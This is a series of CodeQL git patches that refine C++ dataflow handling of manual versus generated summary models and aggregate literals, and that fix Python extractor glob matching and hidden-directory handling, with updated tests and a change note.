a/cpp/ql/test/library-tests/dataflow/external-models/sinks.expected b/cpp/ql/test/library-tests/dataflow/external-models/sinks.expected index 392c0bc03c1a..2c2338a7dcc6 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/sinks.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/sinks.expected @@ -1,5 +1,10 @@ | asio_streams.cpp:93:29:93:39 | *recv_buffer | remote-sink | | asio_streams.cpp:103:29:103:39 | *send_buffer | remote-sink | -| test.cpp:9:10:9:10 | 0 | test-sink | -| test.cpp:11:10:11:10 | x | test-sink | -| test.cpp:15:10:15:10 | y | test-sink | +| test.cpp:12:10:12:10 | 0 | test-sink | +| test.cpp:14:10:14:10 | x | test-sink | +| test.cpp:18:10:18:10 | y | test-sink | +| test.cpp:22:10:22:10 | z | test-sink | +| test.cpp:26:10:26:11 | y2 | test-sink | +| test.cpp:29:10:29:11 | y3 | test-sink | +| test.cpp:33:10:33:11 | z2 | test-sink | +| test.cpp:36:10:36:11 | z3 | test-sink | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected index aa85e74fc034..3e71025e7ff1 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected @@ -1,2 +1,2 @@ | asio_streams.cpp:87:34:87:44 | read_until output argument | remote | -| test.cpp:7:10:7:18 | call to ymlSource | local | +| test.cpp:10:10:10:18 | call to ymlSource | local | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/steps.expected b/cpp/ql/test/library-tests/dataflow/external-models/steps.expected index 2bc7fb6b49aa..aab2691cda1e 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/steps.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/steps.expected @@ -1,2 +1,7 @@ | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | -| test.cpp:13:18:13:18 | x | test.cpp:13:10:13:16 | call to ymlStep | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | +| test.cpp:28:35:28:35 | 0 | test.cpp:28:11:28:33 | call to ymlStepManual_with_body | +| test.cpp:32:38:32:38 | 0 | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | +| test.cpp:35:38:35:38 | x | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/steps.ext.yml b/cpp/ql/test/library-tests/dataflow/external-models/steps.ext.yml index c8a195b7aa6e..da9448b8e8f1 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/steps.ext.yml +++ b/cpp/ql/test/library-tests/dataflow/external-models/steps.ext.yml @@ -3,4 +3,7 @@ extensions: pack: codeql/cpp-all extensible: summaryModel data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance - - ["", "", False, "ymlStep", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepManual", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepGenerated", "", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", False, "ymlStepManual_with_body", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepGenerated_with_body", "", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/cpp/ql/test/library-tests/dataflow/external-models/test.cpp b/cpp/ql/test/library-tests/dataflow/external-models/test.cpp index aa50f6715f21..b443b368b017 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/test.cpp +++ b/cpp/ql/test/library-tests/dataflow/external-models/test.cpp @@ -1,7 +1,10 @@ int ymlSource(); void ymlSink(int value); -int ymlStep(int value); +int ymlStepManual(int value); +int ymlStepGenerated(int value); +int ymlStepManual_with_body(int value1, int value2) { return value2; } +int ymlStepGenerated_with_body(int value, int value2) { return value2; } void test() { int x = ymlSource(); @@ -10,7 +13,25 @@ void test() { ymlSink(x); // $ ir - int y = ymlStep(x); - + // ymlStepManual is manually modeled so we should always use the model + int y = ymlStepManual(x); ymlSink(y); // $ ir + + // ymlStepGenerated is modeled by the model generator so we should use the model only if there is no body + int z = ymlStepGenerated(x); + ymlSink(z); // $ ir + + // ymlStepManual_with_body is manually modeled so we should always use the model + int y2 = ymlStepManual_with_body(x, 0); + ymlSink(y2); // $ ir + + int y3 = ymlStepManual_with_body(0, x); + ymlSink(y3); // clean + + // ymlStepGenerated_with_body is modeled by the model generator so we should use the model only if there is no body + int z2 = ymlStepGenerated_with_body(0, x); + ymlSink(z2); // $ MISSING: ir + + int z3 = ymlStepGenerated_with_body(x, 0); + ymlSink(z3); // $ SPURIOUS: ir } From 69a1a87aa40a70ecbd4351aa14b4e26e3fe96225 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 15 May 2025 15:25:29 +0100 Subject: [PATCH 149/535] C++: Update semantics of picking the static call target in dataflow. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index e517a75edf97..f0a0fd7cdb39 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -1164,15 +1164,27 @@ class DataFlowCall extends TDataFlowCall { Function getStaticCallSourceTarget() { none() } /** - * Gets the target of this call. If a summarized callable exists for the - * target this is chosen, and otherwise the callable is the implementation - * from the source code. + * Gets the target of this call. We use the following strategy for deciding + * between the source callable and a summarized callable: + * - If there is a manual summary then we always use the manual summary. + * - If there is a source callable and we only have generated summaries + * we use the source callable. + * - If there is no source callable then we use the summary regardless of + * whether is it manual or generated. */ - DataFlowCallable getStaticCallTarget() { + final DataFlowCallable getStaticCallTarget() { exists(Function target | target = this.getStaticCallSourceTarget() | - not exists(TSummarizedCallable(target)) and + // Don't use the source callable if there is a manual model for the + // target + not exists(SummarizedCallable sc | + sc.asSummarizedCallable() = target and + sc.asSummarizedCallable().applyManualModel() + ) and result.asSourceCallable() = target or + // When there is no function body, or when we have a manual model then + // we dispatch to the summary. + (not target.hasDefinition() or result.asSummarizedCallable().applyManualModel()) and result.asSummarizedCallable() = target ) } From e75dcd27f505b50e2bec14bec09f29a17c7b40af Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 15 May 2025 15:28:13 +0100 Subject: [PATCH 150/535] C++: Accept test changes. --- .../dataflow/external-models/flow.expected | 28 ++++++++++--------- .../dataflow/external-models/test.cpp | 4 +-- 2 files changed, 17 insertions(+), 15 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index 2b2f0dcdf0c7..66709332e61a 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -13,13 +13,14 @@ edges | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:969 | | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:970 | | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:971 | -| test.cpp:7:5:7:30 | [summary param] 0 in ymlStepGenerated_with_body | test.cpp:7:5:7:30 | [summary] to write: ReturnValue in ymlStepGenerated_with_body | provenance | MaD:972 | +| test.cpp:7:47:7:52 | value2 | test.cpp:7:64:7:69 | value2 | provenance | | +| test.cpp:7:64:7:69 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:967 | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:968 | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:17:24:17:24 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:21:27:21:27 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:25:35:25:35 | x | provenance | | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:35:38:35:38 | x | provenance | | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:32:41:32:41 | x | provenance | | | test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | | | test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:968 | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | provenance | | @@ -32,10 +33,10 @@ edges | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:968 | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | provenance | | | test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:971 | -| test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | provenance | | -| test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | test.cpp:36:10:36:11 | z3 | provenance | Sink:MaD:968 | -| test.cpp:35:38:35:38 | x | test.cpp:7:5:7:30 | [summary param] 0 in ymlStepGenerated_with_body | provenance | | -| test.cpp:35:38:35:38 | x | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | provenance | MaD:972 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:968 | +| test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | provenance | | +| test.cpp:32:41:32:41 | x | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | nodes | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | semmle.label | [summary param] *0 in buffer | | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | semmle.label | [summary] to write: ReturnValue in buffer | @@ -55,8 +56,9 @@ nodes | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | semmle.label | [summary] to write: ReturnValue in ymlStepGenerated | | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | semmle.label | [summary param] 0 in ymlStepManual_with_body | | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | semmle.label | [summary] to write: ReturnValue in ymlStepManual_with_body | -| test.cpp:7:5:7:30 | [summary param] 0 in ymlStepGenerated_with_body | semmle.label | [summary param] 0 in ymlStepGenerated_with_body | -| test.cpp:7:5:7:30 | [summary] to write: ReturnValue in ymlStepGenerated_with_body | semmle.label | [summary] to write: ReturnValue in ymlStepGenerated_with_body | +| test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | semmle.label | *ymlStepGenerated_with_body | +| test.cpp:7:47:7:52 | value2 | semmle.label | value2 | +| test.cpp:7:64:7:69 | value2 | semmle.label | value2 | | test.cpp:10:10:10:18 | call to ymlSource | semmle.label | call to ymlSource | | test.cpp:10:10:10:18 | call to ymlSource | semmle.label | call to ymlSource | | test.cpp:14:10:14:10 | x | semmle.label | x | @@ -72,13 +74,13 @@ nodes | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | semmle.label | call to ymlStepManual_with_body | | test.cpp:25:35:25:35 | x | semmle.label | x | | test.cpp:26:10:26:11 | y2 | semmle.label | y2 | -| test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | -| test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | -| test.cpp:35:38:35:38 | x | semmle.label | x | -| test.cpp:36:10:36:11 | z3 | semmle.label | z3 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | +| test.cpp:32:41:32:41 | x | semmle.label | x | +| test.cpp:33:10:33:11 | z2 | semmle.label | z2 | subpaths | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | asio_streams.cpp:100:44:100:62 | call to buffer | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | | test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | -| test.cpp:35:38:35:38 | x | test.cpp:7:5:7:30 | [summary param] 0 in ymlStepGenerated_with_body | test.cpp:7:5:7:30 | [summary] to write: ReturnValue in ymlStepGenerated_with_body | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | +| test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/test.cpp b/cpp/ql/test/library-tests/dataflow/external-models/test.cpp index b443b368b017..a0b12004074b 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/test.cpp +++ b/cpp/ql/test/library-tests/dataflow/external-models/test.cpp @@ -30,8 +30,8 @@ void test() { // ymlStepGenerated_with_body is modeled by the model generator so we should use the model only if there is no body int z2 = ymlStepGenerated_with_body(0, x); - ymlSink(z2); // $ MISSING: ir + ymlSink(z2); // $ ir int z3 = ymlStepGenerated_with_body(x, 0); - ymlSink(z3); // $ SPURIOUS: ir + ymlSink(z3); // clean } From 61719cf448963fbd3baad8bebb4da33bb9e3a354 Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 15 May 2025 14:48:06 +0000 Subject: [PATCH 151/535] Python: Fix a bug in glob conversion If you have a filter like `**/foo/**` set in the `paths-ignore` bit of your config file, then currently the following happens: - First, the CodeQL CLI observes that this string ends in `/**` and strips off the `**` leaving `**/foo/` - Then the Python extractor strips off leading and trailing `/` characters and proceeds to convert `**/foo` into a regex that is matched against files to (potentially) extract. The trouble with this is that it leaves us unable to distinguish between, say, a file `foo.py` and a file `foo/bar.py`. In other words, we have lost the ability to exclude only the _folder_ `foo` and not any files that happen to start with `foo`. To fix this, we instead make a note of whether the glob ends in a forward slash or not, and adjust the regex correspondingly. --- python/extractor/semmle/path_filters.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/python/extractor/semmle/path_filters.py b/python/extractor/semmle/path_filters.py index cb1a4d9b8bca..1684b0b8fe20 100644 --- a/python/extractor/semmle/path_filters.py +++ b/python/extractor/semmle/path_filters.py @@ -41,6 +41,9 @@ def glob_part_to_regex(glob, add_sep): def glob_to_regex(glob, prefix=""): '''Convert entire glob to a compiled regex''' + # When the glob ends in `/`, we need to remember this so that we don't accidentally add an + # extra separator to the final regex. + end_sep = "" if glob.endswith("/") else SEP glob = glob.strip().strip("/") parts = glob.split("/") #Trailing '**' is redundant, so strip it off. @@ -53,7 +56,7 @@ def glob_to_regex(glob, prefix=""): # something like `C:\\folder\\subfolder\\` and without escaping the # backslash-path-separators will get interpreted as regex escapes (which might be # invalid sequences, causing the extractor to crash) - full_pattern = escape(prefix) + ''.join(parts) + "(?:" + SEP + ".*|$)" + full_pattern = escape(prefix) + ''.join(parts) + "(?:" + end_sep + ".*|$)" return re.compile(full_pattern) def filter_from_pattern(pattern, prev_filter, prefix): From 98388be25c9203e51c1635de2abf91a577fd7c18 Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 15 May 2025 14:49:17 +0000 Subject: [PATCH 152/535] Python: Remove special casing of hidden files If it is necessary to exclude hidden files, then adding ``` paths-ignore: ['**/.*/**'] ``` to the relevant config file is recommended instead. --- python/extractor/semmle/traverser.py | 45 +++++----------------------- 1 file changed, 8 insertions(+), 37 deletions(-) diff --git a/python/extractor/semmle/traverser.py b/python/extractor/semmle/traverser.py index 0945d8ace4bf..4e316a075f75 100644 --- a/python/extractor/semmle/traverser.py +++ b/python/extractor/semmle/traverser.py @@ -85,48 +85,19 @@ def _treewalk(self, path): if isdir(fullpath): if fullpath in self.exclude_paths: self.logger.debug("Ignoring %s (excluded)", fullpath) - elif is_hidden(fullpath): - self.logger.debug("Ignoring %s (hidden)", fullpath) - else: - empty = True - for item in self._treewalk(fullpath): - yield item - empty = False - if not empty: - yield fullpath + continue + + empty = True + for item in self._treewalk(fullpath): + yield item + empty = False + if not empty: + yield fullpath elif self.filter(fullpath): yield fullpath else: self.logger.debug("Ignoring %s (filter)", fullpath) - -if os.environ.get("CODEQL_EXTRACTOR_PYTHON_OPTION_SKIP_HIDDEN_DIRECTORIES", "false") == "false": - - def is_hidden(path): - return False - -elif os.name== 'nt': - import ctypes - - def is_hidden(path): - #Magical windows code - try: - attrs = ctypes.windll.kernel32.GetFileAttributesW(str(path)) - if attrs == -1: - return False - if attrs&2: - return True - except Exception: - #Not sure what to log here, probably best to carry on. - pass - return os.path.basename(path).startswith(".") - -else: - - def is_hidden(path): - return os.path.basename(path).startswith(".") - - def exclude_filter_from_options(options): if options.exclude_package: choices = '|'.join(mod.replace('.', r'\.') for mod in options.exclude_package) From 96558b53b89fb8a72d087db5d55b6ce64848953d Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 15 May 2025 14:53:15 +0000 Subject: [PATCH 153/535] Python: Update test The second test case now sets the `paths-ignore` setting in the config file in order to skip files in hidden directories. --- python/extractor/cli-integration-test/hidden-files/config.yml | 3 +++ .../cli-integration-test/hidden-files/query-default.expected | 1 + .../.hidden_dir/internal_non_hidden/another_non_hidden.py | 0 python/extractor/cli-integration-test/hidden-files/test.sh | 4 ++-- 4 files changed, 6 insertions(+), 2 deletions(-) create mode 100644 python/extractor/cli-integration-test/hidden-files/config.yml create mode 100644 python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/internal_non_hidden/another_non_hidden.py diff --git a/python/extractor/cli-integration-test/hidden-files/config.yml b/python/extractor/cli-integration-test/hidden-files/config.yml new file mode 100644 index 000000000000..69d94597d950 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/config.yml @@ -0,0 +1,3 @@ +name: Test Config +paths-ignore: + - "**/.*/**" diff --git a/python/extractor/cli-integration-test/hidden-files/query-default.expected b/python/extractor/cli-integration-test/hidden-files/query-default.expected index cc92af624b37..72d34a1ab0b0 100644 --- a/python/extractor/cli-integration-test/hidden-files/query-default.expected +++ b/python/extractor/cli-integration-test/hidden-files/query-default.expected @@ -1,5 +1,6 @@ | name | +-------------------------------+ | .hidden_file.py | +| another_non_hidden.py | | foo.py | | visible_file_in_hidden_dir.py | diff --git a/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/internal_non_hidden/another_non_hidden.py b/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/internal_non_hidden/another_non_hidden.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/python/extractor/cli-integration-test/hidden-files/test.sh b/python/extractor/cli-integration-test/hidden-files/test.sh index 77cb12664af6..45485985adbb 100755 --- a/python/extractor/cli-integration-test/hidden-files/test.sh +++ b/python/extractor/cli-integration-test/hidden-files/test.sh @@ -16,8 +16,8 @@ $CODEQL database create db --language python --source-root repo_dir/ $CODEQL query run --database db query.ql > query-default.actual diff query-default.expected query-default.actual -# Test 2: Setting the relevant extractor option to true skips files in hidden directories -$CODEQL database create db-skipped --language python --source-root repo_dir/ --extractor-option python.skip_hidden_directories=true +# Test 2: The default behavior can be overridden by setting `paths-ignore` in the config file +$CODEQL database create db-skipped --language python --source-root repo_dir/ --codescanning-config=config.yml $CODEQL query run --database db-skipped query.ql > query-skipped.actual diff query-skipped.expected query-skipped.actual From 72ae633a64e8b62da1981c44fcd0bcb8501b84e6 Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 15 May 2025 14:58:32 +0000 Subject: [PATCH 154/535] Python: Update change note and extractor config Removes the previously added extractor option and updates the change note to explain how to use `paths-ignore` to exclude files in hidden directories. --- python/codeql-extractor.yml | 7 ------- .../2025-04-30-extract-hidden-files-by-default.md | 2 +- 2 files changed, 1 insertion(+), 8 deletions(-) diff --git a/python/codeql-extractor.yml b/python/codeql-extractor.yml index 2bd1a9c0aa76..97a9e1f2cf2f 100644 --- a/python/codeql-extractor.yml +++ b/python/codeql-extractor.yml @@ -44,10 +44,3 @@ options: Use this setting with caution, the Python extractor requires Python 3 to run. type: string pattern: "^(py|python|python3)$" - skip_hidden_directories: - title: Controls whether hidden directories are skipped during extraction. - description: > - By default, CodeQL will extract all Python files, including ones located in hidden directories. By setting this option to true, these hidden directories will be skipped instead. - Accepted values are true and false. - type: string - pattern: "^(true|false)$" diff --git a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md b/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md index 96372513499f..32b272215af7 100644 --- a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md +++ b/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md @@ -2,4 +2,4 @@ category: minorAnalysis --- -- The Python extractor now extracts files in hidden directories by default. A new extractor option, `skip_hidden_directories` has been added as well. Setting it to `true` will make the extractor revert to the old behavior. +- The Python extractor now extracts files in hidden directories by default. If you would like to skip hidden files, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. From c8cca126a18cc9b7573f650118a0d033f136c84e Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 15 May 2025 14:59:33 +0000 Subject: [PATCH 155/535] Python: Bump extractor version --- python/extractor/semmle/util.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/extractor/semmle/util.py b/python/extractor/semmle/util.py index e0720a86312b..56f7889ae231 100644 --- a/python/extractor/semmle/util.py +++ b/python/extractor/semmle/util.py @@ -10,7 +10,7 @@ #Semantic version of extractor. #Update this if any changes are made -VERSION = "7.1.2" +VERSION = "7.1.3" PY_EXTENSIONS = ".py", ".pyw" From 2158eaa34c568f148672ca4dbf11dbb39599227b Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 15 May 2025 15:34:11 +0000 Subject: [PATCH 156/535] Python: Fix a bug in glob regex creation The previous version was tested on a version of the code where we had temporarily removed the `glob.strip("/")` bit, and so the bug didn't trigger then. We now correctly remember if the glob ends in `/`, and add an extra part in that case. This way, if the path ends with multiple slashes, they effectively get consolidated into a single one, which results in the correct semantics. --- python/extractor/semmle/path_filters.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/python/extractor/semmle/path_filters.py b/python/extractor/semmle/path_filters.py index 1684b0b8fe20..908ec4c0ee0a 100644 --- a/python/extractor/semmle/path_filters.py +++ b/python/extractor/semmle/path_filters.py @@ -51,6 +51,11 @@ def glob_to_regex(glob, prefix=""): parts = parts[:-1] if not parts: return ".*" + # The `glob.strip("/")` call above will have removed all trailing slashes, but if there was at + # least one trailing slash, we want there to be an extra part, so we add it explicitly here in + # that case, using the emptyness of `end_sep` as a proxy. + if end_sep == "": + parts += [""] parts = [ glob_part_to_regex(escape(p), True) for p in parts[:-1] ] + [ glob_part_to_regex(escape(parts[-1]), False) ] # we need to escape the prefix, specifically because on windows the prefix will be # something like `C:\\folder\\subfolder\\` and without escaping the From 0f2107572207762458abcc6a2981f3caf70db0c2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Wed, 14 May 2025 17:59:01 +0100 Subject: [PATCH 157/535] C++: Add a test that demonstrate missing asExpr for aggregate literals. --- .../test/library-tests/dataflow/asExpr/test.cpp | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp b/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp index ae7127401440..5835abb297dd 100644 --- a/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp +++ b/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp @@ -21,3 +21,20 @@ A& get_ref(); void test2() { take_ref(get_ref()); // $ asExpr="call to get_ref" asIndirectExpr="call to get_ref" } + +struct S { + int a; + int b; +}; + +void test_aggregate_literal() { + S s1 = {1, 2}; // $ asExpr=1 asExpr=2 + const S s2 = {3, 4}; // $ asExpr=3 asExpr=4 + S s3 = (S){5, 6}; // $ asExpr=5 asExpr=6 + const S s4 = (S){7, 8}; // $ asExpr=7 asExpr=8 + + S s5 = {.a = 1, .b = 2}; // $ asExpr=1 asExpr=2 + + int xs[] = {1, 2, 3}; // $ asExpr=1 asExpr=2 asExpr=3 + const int ys[] = {[0] = 4, [1] = 5, [0] = 6}; // $ asExpr=4 asExpr=5 asExpr=6 +} \ No newline at end of file From 783560cff65c909175f7f3458c3ea0af16333823 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 15 May 2025 16:45:10 +0100 Subject: [PATCH 158/535] C++: Add a subclass of PostUpdateNodes and ensure that 'node.asExpr() instanceof ClassAggregateLiteral' holds for this new node subclass. --- .../cpp/ir/dataflow/internal/ExprNodes.qll | 44 ++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll index c2b89a67f692..146967fa6538 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll @@ -264,6 +264,41 @@ private module Cached { e = getConvertedResultExpression(node.asInstruction(), n) } + /** + * The IR doesn't have an instruction `i` for which this holds: + * ``` + * i.getUnconvertedResultExpression() instanceof ClassAggregateLiteral + * ``` + * and thus we don't automaticallt get a dataflow node for which: + * ``` + * node.asExpr() instanceof ClassAggregateLiteral + * ``` + * This is because the IR represents a `ClassAggregateLiteral` as a sequence + * of field writes. To work around this we map `asExpr` on the + * `PostUpdateNode` for the last field write to the class aggregate literal. + */ + private class ClassAggregateInitializerPostUpdateNode extends PostFieldUpdateNode { + ClassAggregateLiteral aggr; + + ClassAggregateInitializerPostUpdateNode() { + exists(Node node1, FieldContent fc, int position, StoreInstruction store | + store.getSourceValue().getUnconvertedResultExpression() = + aggr.getFieldExpr(fc.getField(), position) and + node1.asInstruction() = store and + // This is the last field write from the aggregate initialization. + not exists(aggr.getFieldExpr(_, position + 1)) and + storeStep(node1, fc, this) + ) + } + + ClassAggregateLiteral getClassAggregateLiteral() { result = aggr } + } + + private predicate exprNodeShouldBePostUpdateNode(Node node, Expr e, int n) { + node.(ClassAggregateInitializerPostUpdateNode).getClassAggregateLiteral() = e and + n = 0 + } + /** Holds if `node` should be an `IndirectInstruction` that maps `node.asIndirectExpr()` to `e`. */ private predicate indirectExprNodeShouldBeIndirectInstruction( IndirectInstruction node, Expr e, int n, int indirectionIndex @@ -294,7 +329,8 @@ private module Cached { exprNodeShouldBeInstruction(_, e, n) or exprNodeShouldBeOperand(_, e, n) or exprNodeShouldBeIndirectOutNode(_, e, n) or - exprNodeShouldBeIndirectOperand(_, e, n) + exprNodeShouldBeIndirectOperand(_, e, n) or + exprNodeShouldBePostUpdateNode(_, e, n) } private class InstructionExprNode extends ExprNodeBase, InstructionNode { @@ -442,6 +478,12 @@ private module Cached { final override Expr getConvertedExpr(int n) { exprNodeShouldBeIndirectOperand(this, result, n) } } + private class PostUpdateExprNode extends ExprNodeBase instanceof PostUpdateNode { + PostUpdateExprNode() { exprNodeShouldBePostUpdateNode(this, _, _) } + + final override Expr getConvertedExpr(int n) { exprNodeShouldBePostUpdateNode(this, result, n) } + } + /** * An expression, viewed as a node in a data flow graph. */ From c3c6bb6e607387430049a269e1d51434b8d99420 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 15 May 2025 16:45:23 +0100 Subject: [PATCH 159/535] C++: Accept test changes. --- cpp/ql/test/library-tests/dataflow/asExpr/test.cpp | 14 +++++++------- 